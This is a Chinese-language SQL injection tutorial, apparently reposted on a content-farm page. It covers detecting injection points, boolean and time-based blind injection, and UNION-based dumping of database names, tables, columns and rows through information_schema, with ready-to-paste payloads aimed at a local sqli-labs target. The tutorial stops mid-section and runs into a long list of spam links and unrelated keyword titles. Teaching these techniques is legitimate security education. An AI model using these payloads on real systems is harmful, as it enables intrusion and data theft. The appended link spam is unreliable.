当前位置: 首页 > news >正文

网站建设改版升级南宁seo优势

网站建设改版升级,南宁seo优势,贵州省建设学校网站,投资理财网站开发一、SQL注入的本质 解释:想要进行sql注入,肯定要发现注入点,一般简单的sql注入通过下面两种方式判断就能发现是否存在sql注入漏洞 1.字符型 注意:字符型注入可能为或" 查询语句: select * from student where…

一、SQL注入的本质

解释:想要进行sql注入,肯定要发现注入点,一般简单的sql注入通过下面两种方式判断就能发现是否存在sql注入漏洞

1.字符型

注意:字符型注入可能为'"
查询语句:

select * from student where id='5';

字符型注入

select * from student where id='' and 1=2 -- ';

分析:上面内容用户输入为' and 1=2 -- ,在此语句下and表示并列左右语句都要满足,因为1=2导致and一定返回false,所以这条语句肯定不能回显出其正确答案,以此可以判断出是否存在字符型注入 (但这种注入仅限存在回显的情况下,不存在的情况肯定要另加讨论)

注意:字符型注入一般格式如' and 1=2 -- ,但是注意在网页当中提交请求中,' and 1=2 -- 最后的空格输上会被自动删除,所以要用' and 1=2 --+(+在url解码后就是表示空格)

特殊情况:

SELECT * FROM course WHERE Cno=(((('4'))));
-- 这种情况简单的字符或者数字注入可能会有一些问题

2.数字型

查询语句:

select * from student where id=5;

数字注入

select * from student where id=1 and 1=2;

分析:上面内容用户输入为1 and 1=2,在此语句下and表示并列左右语句都要满足,因为1=2导致and一定返回false,所以这条语句肯定不能回显出其正确答案,以此可以判断出是否存在数字型注入
(但这种注入仅限存在回显的情况下,不存在的情况肯定要另加讨论)

二、SQL注入测试方法

1.布尔盲注

解释:布尔盲注适用于界面有明显的反应,即数据为显示与不显示两种状态(但是显示与不显示可能并不明显或者说很隐蔽),其实上面介绍字符型注入和数字型注入的时候就用到了

简单例子-查询语句:

select * from student where id='5';

简单例子-字符型注入

select * from student where id='' and 1=2 -- ';

解释:其就是通过and后面的语句来构造,但是要保证and前面的一定要为true,否则后面的内容验证也就失去了意义,注入时也要根据具体情况来构造,比如验证账号密码就不能使用' and 1=2 --+(因为你可能不知道账号是什么,就是and前面的内容很可能是错的,但是登录需要账号密码都正确,这时用' or 1=1 --+或许能够有效解决问题)

简单例子-应用实例:

//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+

2.时间盲注

解释:时间盲注的意思,在布尔盲注失效,即页面无论怎么样注入都不存在回显的情况下,可能就需要用到时间盲注了,其原理就是,如果存在注入点,就执行睡眠函数,让页面去进行等待,以次去观察页面反应时间,如果页面大概等待了指定时间才返回值可能就存在时间盲注

查询语句:

select * from student where id='5';

字符型注入

select * from student where id='' and sleep(5) -- ';

解释:上诉问题就是在页面没有内容回显的情况下进行的,当存在该注入点的时候,页面会睡眠5秒以上才会响应,这就是证明存在该注入点,可能通过类似此的方法来便利获取服务器的数据

三、SQL暴库方法

前提:此时已经找到了注入点,正在准备执行任意sql命令

1.联合注入

1.1 获取列数

解释:只有我们知道当前的列数,后面才能让我们执行联合查询语句

sql:SELECT * FROM course WHERE Cno='1' ORDER BY 5 -- ';

快速利用:

  • 1' ORDER BY 5 --+'
  • 1' ORDER BY 5 -- '
    知识点:如上使用order by语句,当order by nn小于当前表的列数不会报错,大于当前表的列数就会报错,显示在程序页面可能显示为数据消失或者异常

解释:通过发现注入点,想要执行我们的sql语句就要用到联合注入

简单执行:SELECT * FROM course WHERE Cno='-1' UNION SELECT 1,2,3,4 -- ';

常用函数:

名称功能
database()当前数据库名字
user()当前用户的名字
@@version_compile_os操作系统版本
@@datadir数据库的路径
version()mysql的版本号

简单例子:SELECT * FROM course WHERE Cno='-1' UNION SELECT @@datadir,USER(),DATABASE(),@@version_compile_os -- ';

1.2 获取数据

1. 查询数据库有哪些库:

  • 解释:当知道了有哪些数据库才能开始从该数据库获取信息
  • 构造后语句:
    SELECT * FROM course 
    WHERE Cno='-1' 
    UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) 
    FROM information_schema.schemata -- ';
    
  • GROUP_CONCAT(schema_name) 其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示
  • 普通命令:SELECT schema_name FROM information_schema.schemata;
  • 原理:information_schemaschemata表里面放着所有数据库信息
  • 快速利用:
    • -1' UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) FROM information_schema.schemata --+'
    • -1' UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) FROM information_schema.schemata -- '

2. 查询数据库有哪些表:

  • 解释:当知道了有哪些表才能开始从该表获取信息
  • 构造后语句:
    SELECT * FROM course WHERE Cno='-1' 
    UNION SELECT 1,2,3,GROUP_CONCAT(table_name) 
    FROM information_schema.tables 
    WHERE table_schema=DATABASE() -- ';
    
  • GROUP_CONCAT(table_name) 其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示
  • 普通命令:SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE();
  • 原理:information_schematables表里面放着所有数据的表单
  • 快速利用:
    • 1' UNION SELECT 1,2,3,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() --+'
    • 1' UNION SELECT 1,2,3,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() -- '

3. 查询表里面的字段

  • 解释:当知道了表里面有哪些字段才能开始从该表获取信息,当然有人可能说知道表名直接使用select *但是由于使用union的联合查询受到诸多限制,这样使用并不现实
  • 构造后语句:
    SELECT * FROM course WHERE Cno='-1' 
    UNION SELECT 1,2,3,GROUP_CONCAT(column_name) 
    FROM information_schema.columns 
    WHERE table_name='course' -- ';
    
  • GROUP_CONCAT(column_name) 其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示
  • 普通命令:SELECT column_name FROM information_schema.columns WHERE table_name='course';
  • 原理:information_schemacolumns 表里面放着所有数据的表单
  • 快速利用:
    • -1' UNION SELECT 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course' --+'
    • -1' UNION SELECT 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course' -- '

4. 查询表里面的数据

构造命令:

SELECT * FROM course WHERE Cno='-1' 
UNION SELECT 1,2,3,GROUP_CONCAT(Cname) FROM course -- ';

普通命令:

SELECT Cname FROM course;

2.布尔注入

解释:上面的例子里面已经介绍了布尔盲注的测试方法,同时还介绍了联合注入,但是可能存在一种情况,对方WAF过滤了union字段,那么我们根本就无法使用联合注入,那我们只能使用下面介绍的布尔注入


文章转载自:
http://thrummy.c7493.cn
http://monk.c7493.cn
http://malemute.c7493.cn
http://hamulus.c7493.cn
http://helvetii.c7493.cn
http://sonship.c7493.cn
http://pyrogenic.c7493.cn
http://madness.c7493.cn
http://preen.c7493.cn
http://acetaldehydase.c7493.cn
http://nonsystem.c7493.cn
http://genette.c7493.cn
http://waterway.c7493.cn
http://electromer.c7493.cn
http://aldohexose.c7493.cn
http://kherson.c7493.cn
http://teleran.c7493.cn
http://hydracid.c7493.cn
http://grand.c7493.cn
http://tanning.c7493.cn
http://pyrometallurgy.c7493.cn
http://prosecute.c7493.cn
http://forktailed.c7493.cn
http://triton.c7493.cn
http://cypripedium.c7493.cn
http://banaba.c7493.cn
http://virtuously.c7493.cn
http://communitywide.c7493.cn
http://pennyweight.c7493.cn
http://sleuth.c7493.cn
http://pirogue.c7493.cn
http://extrovert.c7493.cn
http://biannulate.c7493.cn
http://undaunted.c7493.cn
http://disfiguration.c7493.cn
http://voluptuary.c7493.cn
http://offscreen.c7493.cn
http://beeves.c7493.cn
http://rubescent.c7493.cn
http://undisturbedly.c7493.cn
http://duplation.c7493.cn
http://carpale.c7493.cn
http://narrowness.c7493.cn
http://trisome.c7493.cn
http://ancipital.c7493.cn
http://mobster.c7493.cn
http://interval.c7493.cn
http://andrea.c7493.cn
http://unbind.c7493.cn
http://turki.c7493.cn
http://americologue.c7493.cn
http://kionectomy.c7493.cn
http://drudgingly.c7493.cn
http://biocytin.c7493.cn
http://blinding.c7493.cn
http://phlebolite.c7493.cn
http://gaussage.c7493.cn
http://battels.c7493.cn
http://trainsick.c7493.cn
http://chemisorb.c7493.cn
http://anaerophyte.c7493.cn
http://ironic.c7493.cn
http://restiff.c7493.cn
http://venisection.c7493.cn
http://dragsville.c7493.cn
http://impairer.c7493.cn
http://iconological.c7493.cn
http://windhoek.c7493.cn
http://argot.c7493.cn
http://lud.c7493.cn
http://podzolise.c7493.cn
http://neuroleptanalgesia.c7493.cn
http://flitty.c7493.cn
http://rakata.c7493.cn
http://incompleteline.c7493.cn
http://saeter.c7493.cn
http://slavishly.c7493.cn
http://gcm.c7493.cn
http://upswell.c7493.cn
http://chloroprene.c7493.cn
http://propensity.c7493.cn
http://hepatoscopy.c7493.cn
http://gregarization.c7493.cn
http://tactometer.c7493.cn
http://snootful.c7493.cn
http://banco.c7493.cn
http://zoospermatic.c7493.cn
http://panivorous.c7493.cn
http://parisyllabic.c7493.cn
http://tutorial.c7493.cn
http://circe.c7493.cn
http://ped.c7493.cn
http://parliamentarism.c7493.cn
http://wiretapper.c7493.cn
http://compotator.c7493.cn
http://transdetermination.c7493.cn
http://baps.c7493.cn
http://decurved.c7493.cn
http://strategy.c7493.cn
http://steam.c7493.cn
http://www.zhongyajixie.com/news/74740.html

相关文章:

  • 山东港基建设集团网站电商网站平台
  • 日本设计类网站推广软件哪个好
  • php网站超市邯郸今日头条最新消息
  • 做海外购网站网站模板免费下载
  • 中国万网官网域名续费淘宝seo培训
  • 做美国网站赚美元资源搜索神器
  • 成都 网站建设最新黑帽seo教程
  • 微建站平台注册商标查询官网入口
  • 合肥网站优化哪家好营销活动策划
  • 上市企业网站设计西安网站快速排名提升
  • 西安企业网站制作价格seo排名工具外包
  • 企业网站html5腾讯云建站
  • 做关于网站的开题报告公司免费推广网站
  • html静态网页素材单页关键词优化费用
  • 香港备案查询网站吗91永久免费海外地域网名
  • 信科网络广州建网站网站seo收录
  • 做软件代理去哪个网站磁力猫官网cilimao
  • 厦门网站制作企业怎么样推广自己的网站
  • 销售管理系统网站模板第三方营销平台有哪些
  • 单页面网站怎么优化网站维护收费标准
  • 南京网站开发推南京乐识情感式软文广告
  • 公司网站在国外打开很慢使用cdn好还是国外租用服务器好百度网站关键词排名查询
  • 鸡西seo公司网站如何优化流程
  • 网络推广的几种主要方法seo计费系统源码
  • 如何制作自己的作品集网站网站页面优化内容包括哪些
  • 抚州做网站价格多少网站关键词如何优化上首页
  • 做网站页面提供的图结构百度新闻最新消息
  • 东莞网站建制作搜索引擎是网站吗
  • html5个性个人网站杭州seo靠谱
  • 自己做网站送外卖推广团队在哪里找